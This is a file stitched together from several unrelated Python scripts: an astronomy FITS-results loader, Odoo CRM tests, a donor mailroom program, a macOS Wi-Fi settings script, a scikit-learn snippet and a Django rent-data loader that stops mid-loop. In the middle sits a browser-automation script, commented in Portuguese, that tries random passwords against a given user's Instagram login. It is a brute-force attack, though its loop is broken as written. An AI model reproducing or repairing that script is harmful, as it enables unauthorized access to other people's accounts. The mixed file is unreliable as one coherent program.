# -*- coding: utf-8 -*-

import numpy as np
from scipy.stats import norm
import matplotlib.pyplot as plt

from astropy.io import fits
from astropy.constants import c
import astropy.wcs as fitswcs
import astropy.units as u
from astropy.modeling import models
from astropy.table import Table

from box import Box
from specutils import Spectrum1D

class FadoLoad:
    """
    This class is meant to load the necessary files and keep them in memory
    to be used in subsequent classes.

    It should also read some important information

    Attributes
    ----------
    EL_file : str
            File name containing the emission line results
    ST_file : str
            File name containing the statistical results
    ONED_file : str
            File name containing the 1D spectra
    DE_file : str
            File name containing the differential evolution results
    redshift : float
            The object redshift
    rederror : float
            The error in the object redshift
    fado_ver : str
            Fado version
    ext_law : str
            Extinction law used

    """
    def __init__(self, name):

        self.EL_file = name + "_EL.fits"
        self.ST_file = name + "_ST.fits"
        self.ONED_file = name + "_1D.fits"
        self.DE_file = name + "_DE.fits"

        self.redshift = self.ONED.header["REDSHIFT"]
        self.rederror = self.ONED.header["REDERROR"]
        self.fado_ver = self.ONED.header["FADO_VER"]
        self.ext_law = self.ONED.header["R_LAWOPT"]

        self.wave_unit = u.AA
        self.norm = self.ONED.header["GALSNORM"]
        self.flux_unit = self.norm * 10**self.ONED.header["FLUXUNIT"] * u.Unit("erg / (s cm**2 Angstrom)")

    @property
    def EL(self):
        """
        Property that returns the header and data of EL line results.

        Returns
        -------
        self.EL.header
        self.EL.data
        """
        with fits.open(self.EL_file, lazy_load_hdus=False) as hdu:
            return Box({"header": hdu[0].header, "data": hdu[0].data})

    @property
    def ST(self):
        """
        Property that returns the header and data of ST results.

         Returns
         -------
         self.ST.header
         self.ST.data
         """
        with fits.open(self.ST_file, lazy_load_hdus=False) as hdu:
            return Box({"header": hdu[0].header, "data": hdu[0].data})

    @property
    def ONED(self):
        """
         Property that returns the header and data of 1D results.

          Returns
          -------
          self.ONED.header
          self.ONED.data
          """

        with fits.open(self.ONED_file, lazy_load_hdus=False) as hdu:
            return Box({"header": hdu[0].header, "data": hdu[0].data})

    @property
    def DE(self):
        """
        Property that returns the header and data of DE results.

        Returns
        -------
        self.DE.header
        self.DE.data
        """
        with fits.open(self.DE_file, lazy_load_hdus=False) as hdu:
            return Box({"header": hdu[0].header, "data": hdu[0].data})

class OneD:
    """
    Class to manage the results in the ONED File

    Attributes
    ----------
    fado_load : FadoLoad object
    header : dict
            header of the 1D file
    data : array-like
            data of the 1D file
    max_rows : int
            maximum number of rows
    """
    def __init__(self, fado_load=FadoLoad):
        self.fado_load = fado_load
        self.header = fado_load.ONED.header
        self.data = fado_load.ONED.data
        self.max_rows = self.data.shape[0]

    @property
    def wcs(self):
        """

        Returns
        -------
        WCS
        """
        wcs = fitswcs.WCS(header={'CDELT1': self.header["CDELT1"],
                        'CRVAL1': self.header["CRVAL1"],
                        'CUNIT1': 'Angstrom',
                        'CTYPE1': 'WAVE',
                        'CRPIX1': self.header["CRPIX1"]})
        return wcs

    def spectrum(self, row=1, scale=True):
        """
        Creates a specutils.Spectrum1D from FADO ONED files.

        The spectrum can be specified as a row or as a name.
        Allowed names are the following

        1: 'Observed'         spectrum de-redshifted and rebinned'
        2: 'Error'
        3: 'Mask'
        4: 'Best'
        5: 'Average'            of individual solutions
        6: 'Median'
        7: 'Stdev'
        8: 'Stellar'            using best fit'
        9: 'Nebular'            using best fit'
        10: 'AGN'               using best fit'
        11: 'M/L'
        12: 'LSF'  Line spread function

        The best-fits for individual solution can only be specified as a number 13-XX
        see self.max_rows

        Parameters
        ----------
        row: str, int
            Allowed names: 'observed', 'error', 'mask', 'best', 'average', 'median', 'stdev', 'stellar', 'nebular'
                'agn', 'm/l', 'lsf'
            The row number where the spectra is extracted, default=1 (0 in python notation)

        scale: bool, whether to scale the spectra or not, default True

        Returns
        -------
        a specutils.Spectrum1D object
        """
        row_names = {'observed': 1,  'error': 2,  'mask': 3,
                     'best fit': 4, 'average': 5,  'median': 6,
                     'stdev': 7,  'stellar': 8,  'nebular': 9,
                     'm/l': 10,   "lsf": 12}
        if isinstance(row, str):
            try:
                row = row_names[row.lower()] - 1
            except (KeyError, AttributeError) as e:
                print("name not found", e)
        else:
            row = row - 1

        if scale is False:
            scale = 1 * u.dimensionless_unscaled
        else:
            scale = self.fado_load.flux_unit

        flux = self.data[row] * scale
        sp = Spectrum1D(flux=flux, wcs=self.wcs)
        return sp

    def to_mpdaf(self, row=1, scale=True):
        """
        Creates a mpdaf.obj.Spectrum object from FADO 1D files.

        The spectrum can be specified as a row or as a name.
        Allowed names are the following

        1: 'Observed'         spectrum de-redshifted and rebinned'
        2: 'Error'
        3: 'Mask'
        4: 'Best'
        5: 'Average'            of individual solutions
        6: 'Median'
        7: 'Stdev'
        8: 'Stellar'            using best fit'
        9: 'Nebular'            using best fit'
        10: 'AGN'               using best fit'
        11: 'M/L'
        12: 'LSF'  Line spread function

        The best-fits for individual solution can only be specified as a number 13-XX
        see self.max_rows

        Parameters
        ----------
        row: str, int
            Allowed names: 'observed', 'error', 'mask', 'best', 'average', 'median', 'stdev', 'stellar', 'nebular'
                'agn', 'm/l', 'lsf'
            The row number where the spectra is extracted, default=1 (0 in python notation)

        scale: bool, whether to scale the spectra or not, default True

        Returns
        -------
        a mpdaf.obj.Spectrum object
        """
        try:
            from mpdaf.obj import Spectrum, WaveCoord
        except ImportError as e:
            print(e, "MPDAF not installed, cannot continue")
            raise
        sp = self.spectrum(row, scale)
        wave_coord = WaveCoord(cdelt=self.header["CDELT1"],
                               crval=self.header["CRVAL1"],
                               cunit=self.fado_load.wave_unit)

        sp_mpdaf = Spectrum(wave=wave_coord, data=sp.flux)

        return sp_mpdaf

    def to_table(self, row=1, scale=True):
        """
        Creates an astropy.table.Table object from FADO 1D files.

        The spectrum can be specified as a row or as a name.
        Allowed names are the following

        1: 'Observed'         spectrum de-redshifted and rebinned'
        2: 'Error'
        3: 'Mask'
        4: 'Best'
        5: 'Average'            of individual solutions
        6: 'Median'
        7: 'Stdev'
        8: 'Stellar'            using best fit'
        9: 'Nebular'            using best fit'
        10: 'AGN'               using best fit'
        11: 'M/L'
        12: 'LSF'  Line spread function

        The best-fits for individual solution can only be specified as a number 13-XX
        see self.max_rows

        Parameters
        ----------
        row: str, int
            Allowed names: 'observed', 'error', 'mask', 'best', 'average', 'median', 'stdev', 'stellar', 'nebular'
                'agn', 'm/l', 'lsf'
            The row number where the spectra is extracted, default=1 (0 in python notation)

        scale: bool, whether to scale the spectra or not, default True

        Returns
        -------
        an astropy.table.Table object
        """
        sp = self.spectrum(row, scale)
        table = Table(data=(sp.wavelength, sp.flux),
                      names=("wavelength", "flux" ))

        return table

class EmLines:
    """
    Class to manage the results in the 1D files

    Attributes
    ----------
    scale : u.Quantity
        the scaling applied to the emission line flux
    header : dict
        the header of the 1D file
    data : array-like
        the data of the 1D file
    names : dict
        the emission line names
    waves : dict
        the center of the emission lines
    info : dict
        the pointers where to find the results of the emission line fitting in the data
    """

    def __init__(self, fado_load=FadoLoad):
        self.fado_load = fado_load
        self.scale = self.fado_load.flux_unit
        self.header = fado_load.EL.header
        self.data = fado_load.EL.data
        self.names = self.line_dicts["names"]
        self.waves = self.line_dicts["waves"]
        self.info = self.line_dicts["info"]

    @property
    def line_dicts(self):
        """ update the attributes of the lines fitted in the spectra
        self.line_names is a list with the names
        self.lines_waves = a dictionary with the rest-frame wavelengths
        self.line_info  = a dictionary with the pointers to the results
        """
        keys = list(self.header.keys())
        el_keys = [k for k in keys if "EL___" in k]
        el_names = []
        el_waves = {}
        el_info = {}
        for k in el_keys:
            [name, wave, rows] = self.header[k].split()

            name = name + "_" +wave.split(".")[0]
            el_names.append(name)
            el_waves.update({name: float(wave)*u.AA})
            el_info.update({name: rows})

        return {'names': el_names, 'waves': el_waves, "info": el_info}

    @property
    def param(self):
        """
        N_PARAMS: 21 | Number of parameters
        TOTLINES: 1071 | Total  number   of   parameters    used
        ISNEBCON: 1 | Nebular        continuum
        ISNEBCPL: 0 | Planned        for future versions
        ISLEAKON: 0 | Planned             for future versions
        SELF_CON: 2 | Self - consistency
        CONVERGE: 1 | Convergence
        FLAG_BPT: 0 | BPT flag for [NII] / Ha and [OIII] / Hb(0: Pure SF / 1: SF / 2:Composite / 3: LINER / 4:Seyfert)
        ELAPSEDT: 106.40000000000 | Elapsed        time in seconds
        LAMBDA_0: 4020.0000000000 | Normalization        wavelength
        GALSNORM: 47.580000000000 | Flux        at        the     normalization wavelength
        FLUXUNIT: 0.0000000000000 | Flux        units in log10
        LOGBN2HA: -1.9400000000000 | log[NII] / Ha
        ERRBN2HA: 0.14300000000000E-01 | errorlog[NII] / Ha
        LOGBO3HB: -1.9400000000000 | log[OIII] / Hb
        ERRBO3HB: 0.14300000000000E-01 | error        log[OIII] / Hb
        TELECTRO: 15150.000000000 | Electron       temperature
        DELECTRO: 171.40000000000 | Electron density
        GEXTINCT: 0.71940000000000 | Stellar   extinction
        GEXTBDEV: 0.45930000000000E-07 | Error associated to stellar extinction
        GNEBULAR: 1.2040000000000 | Nebularextinction
        GNEBBDEV: 0.0000000000000 | Error associated to nebular extinction

        Returns
        -------
        self.lambda_0 : Normalization wavelength
        self.flat_bpt : The BTP flag = 0 for SF, =2 Composite, =3 Liner, =4 Seyfert
        self.telectro : The electron temperature
        self.delectro : The electron density
        self.gextinct : The stellar extinction
        self.gnebular : The nebular extinction

        """
        return Box({"lambda_0" : self.header["LAMBDA_0"],
                    "flag_bpt": self.header["FLAG_BPT"],
                    "telectro": self.header["TELECTRO"],
                    "delectro": self.header["DELECTRO"],
                    "gextinct": self.header["GEXTINCT"],
                    "gnebular": self.header["GNEBULAR"]
                    })

    def results(self, line_name, mode="best"):
        """
        Returns a dictionary with the results of the fit for a emission line.

        Parameters
        ----------
        line_name : str
            name of the emission line see self.names for a list of available names
        mode : str,
            "best" (default), "mean" or "median"
        """
        index = 0
        if mode == "mean":
            index = index + 7
        if mode == "median":
            index = index + 14

        rows = self.info
        window = rows[line_name].split('--')
        xmin = int(window[0])-1
        xmax = int(window[1])
        values = self.data[:, xmin:xmax][0]
        results = {'lambda': values[index] * u.AA,
                   'amplitude': values[index + 1] * self.scale,
                   'sigma': values[index + 2] * u.AA,
                   'vel': values[index + 3] * u.km / u.s,
                   'shift': values[index + 4] * u.AA,
                   'flux': values[index + 5] * self.scale,
                   'ew': values[index + 6] * u.AA}

        return results

    def errors(self, line_name, mode="best"):
        """
        Returns a dictionary with the errors  of the fit for a emission line.

        Parameters
        ----------
        line_name: str,
            name of the emission line see self.names for a list of available names
        mode: str,
            "best" (default), "mean" or "median"

        Returns
        -------
        dict
        """
        index = 0
        if mode == "mean":
            index = index + 7
        if mode == "median":
            index = index + 14

        rows = self.info
        window = rows[line_name].split('--')
        xmin = int(window[0]) - 1
        xmax = int(window[1])
        values = self.data[:, xmin:xmax][1]
        errors = {'lambda': values[index] * u.AA,
                  'amplitude': values[index + 1] * self.scale,
                  'sigma': values[index + 2] * u.AA,
                  'vel': values[index + 3] * u.km / u.s,
                  'shift': values[index + 4] * u.AA,
                  'flux': values[index + 5] * self.scale,
                  'ew': values[index + 6] * u.AA}

        return errors

    def line_spectra(self, line_name, mode="best"):
        """
        Create a specutils.Spectrum1D for the line

        Parameters
        ----------
        line_name : str
                name of the emission line see self.names for a list of available names

        mode : str
            'best', 'mean' or 'median' of the solutions

        Returns
        -------
        specutils.Spectrum1D
        """
        results = self.results(line_name, mode=mode)
        lambda_r = results["lambda"]
        vel = results["vel"]
        sigma = results["sigma"]
        amplitude = results["amplitude"]

        center = (vel / c.to('km/s')) * lambda_r + lambda_r
        spectrum = OneD(self.fado_load)
        wcs = spectrum.wcs

        length = self.fado_load.ONED.header["NAXIS1"]  # size of the spectrum in pixels
        sp = Spectrum1D(flux=np.zeros(length) * self.scale,
                        wcs=wcs)

        model = models.Gaussian1D(amplitude=amplitude,
                                  mean=center,
                                  stddev=sigma)
        sp = sp + Spectrum1D(spectral_axis=sp.spectral_axis, flux=model(sp.wavelength))
        return sp

    def to_table(self, mode="best"):
        """
        Create an astropy table with the results of the emission line fitting

        Parameters
        ----------
        mode: str
            best (default), mean or median

        Returns
        -------
        astropy.table.Table
        """
        column_names = ("line_name",
                        "lambda",  "amplitude", "sigma", "vel", "shift", "flux", "ew",
                        "lambda_err",  "amplitude_err", "sigma_err", "vel_err", "shift_err", "flux_err", "ew_err")
        dtypes = ['S11'] + ['f8']*14
        table = Table(names=column_names, dtype=dtypes)

        for name in self.names:
            results = self.results(name, mode=mode)
            errors = self.errors(name, mode=mode)
            row = [name] + \
                  [results[key] for key in results.keys()] + \
                  [errors[key] for key in errors.keys()]
            table.add_row(row)

        return table

class Stats:
    """
    Class to manage the results in the statistical file
    """
    def __init__(self, fado_load=FadoLoad):
        self.fado_load = fado_load
        self.header = fado_load.ST.header
        self.data = fado_load.ST.data
        self.scale = self.fado_load.flux_unit

    @property
    def param(self):
        """
        LAMBDA_0=            5.710E+03 / Norm. wavelength
        GALSNORM=            1.175E+01 / Norm. flux
        FLUXUNIT=           -2.000E+01 / Flux units in log10
        L_DISMPC=            1.554E+03 / Luminosity dist
        TELECTRO=            1.000E+04
        DELECTRO=            5.655E+02
        GEXTINCT=            1.439E+00
        GEXTBAVE=            1.439E+00
        GEXTBDEV=            5.123E-07
        GNEBULAR=            4.809E-01
        GNEBBAVE=            4.809E-01
        GNEBBDEV=            1.724E-08
        V0SYSGAL=            5.349E+01
        V0SYSAVE=            5.330E+01
        V0SYSDEV=            7.105E-15
        VTSYSGAL=            1.053E+05
        VTSYSAVE=            1.053E+05
        VTSYSDEV=            1.503E+02
        VDSYSGAL=            1.798E+02
        VDSYSAVE=            1.842E+02
        VDSYSDEV=            2.842E-14
        V0NEBGAL=            5.349E+01
        V0NEBAVE=            5.330E+01
        V0NEBDEV=            7.105E-15
        VTNEBGAL=            1.053E+05
        VTNEBAVE=            1.053E+05
        VTNEBDEV=            1.503E+02
        VDNEBGAL=            1.798E+02
        VDNEBAVE=            1.842E+02
        VDNEBDEV=            2.842E-14

        Returns
        -------

        """
        keys = ["LAMBDA_0",
                "GALSNORM",
                "FLUXUNIT",
                "L_DISMPC",
                "TELECTRO",
                "DELECTRO",
                "GEXTINCT",
                "GEXTBAVE",
                "GEXTBDEV",
                "GNEBULAR",
                "GNEBBAVE",
                "GNEBBDEV",
                "V0SYSGAL",
                "V0SYSAVE",
                "V0SYSDEV",
                "VTSYSGAL",
                "VTSYSAVE",
                "VTSYSDEV",
                "VDSYSGAL",
                "VDSYSAVE",
                "VDSYSDEV",
                "V0NEBGAL",
                "V0NEBAVE",
                "V0NEBDEV",
                "VTNEBGAL",
                "VTNEBAVE",
                "VTNEBDEV",
                "VDNEBGAL",
                "VDNEBAVE",
                "VDNEBDEV"]

        params = {k: self.header[k] for k in keys}
        return Box(params)

class FadoDE:
    """
    Class to manage the results in the DE files
    """
    pass

class FADO:
    """
    Legacy:
    This class is supposed to load and extract parameters from FADO files

    """

    EL_file = None
    ST_file = None
    ONED_file = None
    DE_file = None

    def __init__(self, EL_file, ST_file, ONED_file, DE_file):

        self.EL_file = EL_file
        self.ST_file = ST_file
        self.ONED_file = ONED_file
        self.DE_file = DE_file

    # open_the_files
        self.hdu_EL = fits.open(self.EL_file)
        self.hdu_ST = fits.open(self.ST_file)
        self.hdu_ONED = fits.open(self.ONED_file)
        self.hdu_DE = fits.open(self.DE_file)

    def files(self):
        """
        just print the files being used
        """
        print(self.EL_file)
        print(self.ST_file)
        print(self.ONED_file)
        print(self.DE_file)

    def ELnames(self):
        """
        create dict of emission lines and their wavelengths
        """

        head = self.hdu_EL[0].header
        keys = list(head.keys())
        el_keys = [k for k in keys if "EL___" in k ]

        el_waves = {}
        for k in el_keys:
            [name, wave, rows] = head[k].split()
            if "[" in name:
                name = name + wave.split(".")[0]

            el_waves.update( {name: float(wave)})

        return el_waves

    def ELrows(self):
        """
        create dict of emission lines and their windows for data
        """

        head = self.hdu_EL[0].header
        keys = list(head.keys())
        el_keys = [k for k in keys if "EL___" in k ]

        el_rows = {}
        for k in el_keys:
            [name, wave, rows] = head[k].split()
            if "[" in name:
                name = name + wave.split(".")[0]

            el_rows.update( {name: rows} )

        return el_rows

    def waves(self):
        """
        Return the wavelength grid
        """
        head = self.hdu_ONED[0].header
        NAXIS1 = head["NAXIS1"]
        CRVAL1 = head["CRVAL1"]
        CRPIX1 = head["CRPIX1"] - 1 # because python
        CRDELT1 = head["CDELT1"]
        waves = CRVAL1 + CRDELT1*np.arange(CRPIX1, NAXIS1, 1)

        return waves

    def print_rows(self):
        """
        print what the rows of 1D files contain
        """
        head = self.hdu_ONED[0].header
        keys = list(head.keys())
        for k in keys:
            if "ROW" in k:
                print(k + '= ' ,repr(head[k]))

        print()
        print("Maximum row number=", head["NAXIS2"])

    def get_spectra(self, row):
        """
        return a numpy array with the spectra of that row
        see print_rows for description
        """
        data = self.hdu_ONED[0].data
        if row<1 and row>data.shape[1]:
            raise ValueError("row number not valid")

        spec = data[row-1]

        return spec

    def plot_spec(self, row, wmin=None, wmax=None, **kwargs):
        """
        plot a spectra from 1D files between wmin and wmax (default all)
        **kwargs are passed to matplotlib.pyplot
        """
        waves = self.waves()
        spec = self.get_spectra(row)
        if wmin is None:
            wmin = waves[0]
        if wmax is None:
            wmax = waves[-1]

        spec = spec[(waves>=wmin) & (waves<=wmax)]
        waves = waves[(waves>=wmin) & (waves<=wmax)]
        plt.plot(waves, spec, **kwargs)

    def plot_obs_spectrum(self, row=None, wmin=None, wmax=None, **kwargs):
        """
        plot the observed spectrum between wmin and wmax (default all)
        row number is optional in case observed spectrum is in another row
        check using print_rows
        """
        if row is None:
            row = 1

        self.plot_spec(row, wmin, wmax, **kwargs)

    def plot_model_spectrum(self, row=None, wmin=None, wmax=None, **kwargs):
        """
        plot the best fit FADO spec
        """
        if row is None:
            row = 4

        self.plot_spec(row, wmin, wmax, **kwargs)

    def plot_residual(self, wmin=None, wmax=None, **kwargs):
        """
        plot the residuals: observed - model
        """
        waves = self.waves()
        obs = self.get_spectra(1)
        model = self.get_spectra(4)
        if wmin is None:
            wmin = waves[0]
        if wmax is None:
            wmax = waves[-1]

        obs = obs[(waves>=wmin) & (waves<=wmax)]
        model = model[(waves>=wmin) & (waves<=wmax)]
        waves = waves[(waves>=wmin) & (waves<=wmax)]
        plt.plot(waves, obs - model, **kwargs)

    def plot_line(self, linename, window=None, **kwargs):
        """
        plot the region around a emission line
        for names see ELnames
        window is optional defaul 100A
        """
        if window is None:
            window = 100

        ELdict = self.ELnames()
        center = ELdict[linename]
        wmin = center - 0.5*window
        wmax = center + 0.5*window

        self.plot_obs_spectrum(row=1, wmin=wmin, wmax=wmax, **kwargs)

    def plot_line_residual(self, linename, window=None, **kwargs):
        """
        as above but after subtracting the model spectrum
        """
        if window is None:
            window = 100

        ELdict = self.ELnames()
        center = ELdict[linename]
        wmin = center - 0.5*window
        wmax = center + 0.5*window

        self.plot_residual(wmin=wmin, wmax=wmax, **kwargs)

    def get_results(self, linename):
        """
        returns a dictionary with the results of the fit for a emission line
        see ELnames for names
        """
        data = self.hdu_EL[0].data
        rows = self.ELrows()
        window = rows[linename].split('--')
        xmin = int(window[0])-1
        xmax = int(window[1])-1

        values = data[:, xmin:xmax][0]

        results = {'Lambda':values[0],
                   'Amplitude':values[1],
                   'Sigma':values[2],
                   'Vel':values[3],
                   'shift':values[4],
                   'Flux':values[5],
                   'EW':values[6]}

        return results

    def get_errors(self, linename):
        """
        returns a dictionary with the results of the fit for a emission line
        see ELnames for names
        """
        data = self.hdu_EL[0].data
        rows = self.ELrows()
        window = rows[linename].split('--')
        xmin = int(window[0])-1
        xmax = int(window[1])-1

        values = data[:,xmin:xmax][1]

        errors = {'Lambda':values[0],
                   'Amplitude':values[1],
                   'Sigma':values[2],
                   'Vel':values[3],
                   'shift':values[4],
                   'Flux':values[5],
                   'EW':values[6]}

        return errors

    def plot_fit_to_line(self, linename, window=None, **kwargs):
        """
        plot the fits of to a line
        works better with plot_line_residuals
        """
        results = self.get_results(linename)
        if window is None:
            window = 100

        ELdict = self.ELnames()
        center = ELdict[linename]
        wmin = center - 0.5*window
        wmax = center + 0.5*window

        lambda_r = results["Lambda"]
        vel = results["Vel"]
        mu = (vel/c.to('km/s').value) * lambda_r + lambda_r
        sigma = results["Sigma"]
        flux = results["Flux"]
        x = self.waves()
        x = x[(x>wmin) & (x<wmax)]
        y = flux*norm.pdf(x, mu, sigma)

        plt.plot(x, y, **kwargs)


from webbot import Browser
from pynput.keyboard import Key, Controller
import time
from random import choice
import string

user = input('Username: ')

## Variáveis de controle
web = Browser()
keyboard = Controller()

values = string.ascii_letters + string.digits ## letras e números
size = 8            ### quantidade de caracteres que desejar na criação da senha

web.go_to('www.instagram.com')
                        ### aqui começa o ataque
time.sleep(5)
keyboard.press(Key.enter)
keyboard.release(Key.enter)
time.sleep(5)
keyboard.press(Key.tab)
keyboard.release(Key.tab)
time.sleep(5)
web.type(user)
keyboard.press(Key.tab)
keyboard.release(Key.tab)

senha = []

for brute in senha:
    for i in range(size):       ### o primeiro loop, cria uma senha do tamanho em que for definida a variável "size"
        senha += choice(values)
    web.type(brute, into="Password")
    keyboard.press(Key.enter)
    keyboard.release(Key.enter)
    print ("Trying sign in:",senha)
    time.sleep(5)


from turtle import Turtle

class Scoreboard(Turtle):
    def __init__(self):
        super().__init__()
        # Set up the score turtle to keep track of how many points the player has won
        self.color("light steel blue")
        self.speed(0)
        self.penup()
        self.goto(-250,260)
        score = 0
        self.write(f"Score: + {score}")
        self.ht()


import sys, subprocess, os

def osx_airportd_set_prefs(given_prefs_list):
    '''Sets various Wi-Fi prefs via airportd.'''
    airportd_cmd =['/usr/libexec/airportd',
                   'prefs']
    airportd_cmd.extend(given_prefs_list)
    try:
        subprocess.check_call(airportd_cmd)
        return True
    except subprocess.CalledProcessError:
        return False

def main():
    '''Main logic for this script'''
    prefs_list = ['DisconnectOnLogout=NO',
                  'JoinMode=Automatic',
                  'RememberRecentNetworks=No',
                  'RequireAdminPowerToggle=Yes']
    if not osx_airportd_set_prefs(prefs_list):
        sys.exit(1)
    sys.exit(0)

# Run main.
if __name__ == "__main__":
    main()


from odoo.tests import Form
from odoo.tests.common import TransactionCase

class TestCrmLeadReason(TransactionCase):
    @classmethod
    def setUpClass(cls):
        super().setUpClass()
        cls.env = cls.env(context=dict(cls.env.context, tracking_disable=True))
        cls.crm_lead_model = cls.env["crm.lead"]
        cls.lead_reason = cls.env["crm.lost.reason"]
        cls.won_reason = cls.lead_reason.create(
            {"name": "won reason 1", "reason_type": "won"}
        )
        cls.lost_reason = cls.lead_reason.create(
            {"name": "lost reason 1", "reason_type": "lost"}
        )
        cls.unspecified_reason = cls.lead_reason.create({"name": "too expensive"})

    def test_won_reason(self):
        crm_lead = self.crm_lead_model.create({"name": "Testing lead won reason"})

        wizard_model = self.env["crm.lead.won"].with_context(
            active_id=crm_lead.id, active_model="crm.lead"
        )
        wizard_form = Form(wizard_model)
        wizard_form.won_reason_id = self.won_reason
        wizard_id = wizard_form.save()["id"]
        wizard_record = wizard_model.browse(wizard_id)
        wizard_record.with_context(active_ids=crm_lead.id).action_win_reason_apply()
        self.assertTrue(crm_lead.stage_id.is_won)
        self.assertEqual(crm_lead.won_reason_id.name, self.won_reason.name)

    def test_lost_reason(self):
        crm_lead = self.crm_lead_model.create({"name": "Testing lead lost reason"})
        crm_lead.action_set_lost(lost_reason=self.lost_reason)
        self.assertFalse(crm_lead.stage_id.is_won)
        self.assertEqual(crm_lead.lost_reason.name, self.lost_reason.name)

    def test_unspecified_reason(self):
        crm_lead = self.crm_lead_model.create(
            {"name": "Testing lead unspecified reason"}
        )
        crm_lead.action_set_lost(lost_reason=self.unspecified_reason)
        self.assertFalse(crm_lead.stage_id.is_won)
        self.assertEqual(crm_lead.lost_reason.name, self.unspecified_reason.name)


donors = {"Graham": [1, 5, 10], "Eric": [4, 6], "Terry" : [5, 5, 5], "John": [20,], "Michael": [10, 10]}
donor_dict = donors

def report(donor_dict):
    print("\nDonors              Total Amt           Total Donations        Average Amt        ")
    print("------------------------------------------------------------------------------")
    for donor in donor_dict:
        donations = str((donor_dict.get(donor))).strip("[]")
        total = sum(donor_dict.get(donor))
        average = total//len(donor_dict.get(donor))
        print("{:<20} {:>4} {:>25} {:>20}".format(donor, total, donations, average))

def quit_mr():
    '''prints goodbye and quits program'''
    print("\nThank you for using the Mail-Tron 2000\nGoodbye")
    quit()

def mail_menu(donor_dict):
    '''
    prints mailroom user interface
    :param donor_dict: donor database list
    :return:
    '''
    print("\nPlease make a selection from the menu below.")
    print("--------------------------------------------\a")
    menu = input("1: Send a 'Thank You' Letter to Donor\n2: Create Donor report\n3: Quit\n> ")
    if menu == "1":
        thank_you(donor_dict)
    if menu == "2":
        report(donor_dict)
        mail_menu(donor_dict)
    if menu.lower() == "quit" or menu == "3":
        quit_mr()

def thank_you(donor_dict):
    '''
    displays thank you letter menu
    :param donor_dict: donor database list
    :return:
    '''
    pers = input("\nPlease make a selection from the menu below\n"
                 "-------------------------------------------\n"
                 "1. Enter Donor name\n2. Display list of Donors\n3. Return to Main Menu\n4. Quit\n> ")
    if pers == "1":
        thanks(donor_dict, add_donate(donor_dict, (donor_check(donor_dict))))
    if pers == "2":
        donor_names(donor_dict)
        thank_you(donor_dict)
    if pers == "3":
        mail_menu(donor_dict)
    if pers.lower() == "quit" or pers == "4":
        quit_mr()

def donor_names(donor_dict):
    '''
    prints list of donor names
    :param donor_dict: donor list
    :return:
    '''
    print("\n" + "\n".join(list(i for i in donor_dict)))

def mail_head(donor_dict):
    '''
    prints mailroom greeting
    :param donor_dict: donor database list
    :return:
    '''
    print("#----------------------------#")
    print("|       MAIL-TRON 2000       |")
    print("|           V 2.1            |")
    print("#----------------------------#\n\n")
    input("Press enter to continue.\a\n")
    print("Welcome to the Python Endowment Fund mailroom.")
    mail_menu(donor_dict)

def add_donor(donor_dict, donor_name):
    '''
    adds donor to list
    :param donor_dict: donor database list
    :param donor_name: donor name
    :return: donor name added at end of donor dict
    '''
    donor_dict[donor_name] = []
    print("\nAdded Donor: {}".format(donor_name))
    return donor_name

def donor_check(donor_dict):
    '''
    checks for donor on list
    :param donor_dict: donor database list
    :return:
    '''
    donor_name = input("\nEnter Donor name\n> ")
    if donor_name.lower() == "quit":
        quit_mr()
    if donor_name in donor_dict:
        print("\nDonor Found")
        return donor_name
    elif donor_name not in donor_dict:
        return add_donor(donor_dict, donor_name)

def add_donate(donor_dict, donor_name):
    '''
    adds a donation
    :param donor_dict: donor database list
    :param donor_name: donor name
    :return:
    '''
    donation = input("\nEnter donation amount\n> ")
    if num_check(donor_dict, donor_name, donation):
        (donor_dict.get(donor_name)).append(int(donation))
        print(donor_dict)
        return donor_name

def thanks(donor_dict, donor_name):
    '''
    creates and prints boring repetitve email
    :param donor_dict: donor database list
    :param donor_name: specific donor sub list
    :return:
    '''
    print("Thank you Mr(s). {} for your most generous donation of ${}".format(donor_name, donor_dict.get(donor_name)[-1]))
    mail_menu(donor_dict)

def num_check(donor_dict, donor_name, donation):
    '''
    checking for real number
    :param donor_dict: donor database list
    :param donor_name: specific donor sub list
    :param donation: donation amount
    :return:
    '''
    try:
        int(donation)
        return True
    except:
        print("That is not a valid donation")
        add_donate(donor_dict, donor_name)

if __name__ == '__main__':
    mail_head(donors)


#!/usr/bin/env python3
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import normalize, scale

df = pd.read_csv('dataset.csv')

Y = df['Class']
X = df.drop(['Class'], axis=1)

X_train, X_test, y_train, y_test = train_test_split(X, Y,
                                                    test_size=0.33,
                                                    random_state=17)

print(X_train.head(1))
print(normalize(X_train)[:1,:])
print(scale(X_train)[:1,:])


import sys
import os
import requests
from datetime import datetime
from partialdb import PartialDatabase
from acsapi import AcsApi

#Set up Django Environment
import django
sys.path.append(os.getcwd())
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "econosense.settings")
django.setup()

from data.models import Rent,Area,State,Location

partialdb = PartialDatabase()

def main(year):
    Rent.objects.all().delete()

    api = AcsApi(year=year)

    median_gross_rent = 'B25031' #group

    variables = {
        'Total'             : '001E',
        'no_bedroom'        : '002E',
        'one_bedroom'       : '003E',
        'two_bedroom'       : '004E',
        'three_bedroom'     : '005E',
        'four_bedroom'      : '006E',
        'five_plus_bedrooms': '007E'
    }

    geographies = {
        'State'     :   'state',
        'CBSA'      :   'metropolitan statistical area/micropolitan statistical area',
        'NECTA'     :   'new england city and town area',
        'METDIV'    :   'metropolitan division',
        'NECTADIV'  :   'necta division',
        'CSA'       :   'combined statistical area',
        'CNECTA'    :   'combined new england city and town area'
    }

    start = datetime.now()
    for geo_key,geo_value in geographies.items(): #each geography
        rents = {}

        print('Building rent data by ' + geo_key)
        for var_key,var_value in variables.items(): #each bedroom

            response = api.get(median_gross_rent,var_value,geo_value)

            if response.status_code == 200:
                print('Requesting data from ' + response.url)
                result = response.json()

                for row in result[1:]:

                    if geo_key in ['METDIV','NECTADIV']:
                        loc_id = int(row[2])
                    else:
                        loc_id = int(row[1])

                    if int(row[0]) < 0: #If rent is < 0
                        amount = None
                    else:
                        amount = int(row[0])

                    try: #use already existing Rent object
                        rent = rents[loc_id]
                    except: #create new Rent object
                        rent = Rent()
                        rent.location_id = loc_id

                        if partialdb.skip_rent(rent):
                            continue

                    if var_key == 'Total':                  rent.total = amount
                    elif var_key == 'no_bedroom':           rent.no_bedroom = amount
                    elif var_key == 'one_bedroom':          rent.one_bedroom = amount
                    elif var_key == 'two_bedroom':          rent.two_bedroom = amount
                    elif var_key == 'three_bedroom':        rent.three_bedroom = amount
                    elif var_key == 'four_bedroom':         rent.four_bedroom = amount
                    elif var_key == 'five_plus_bedrooms':   rent.five_bedroom = amount

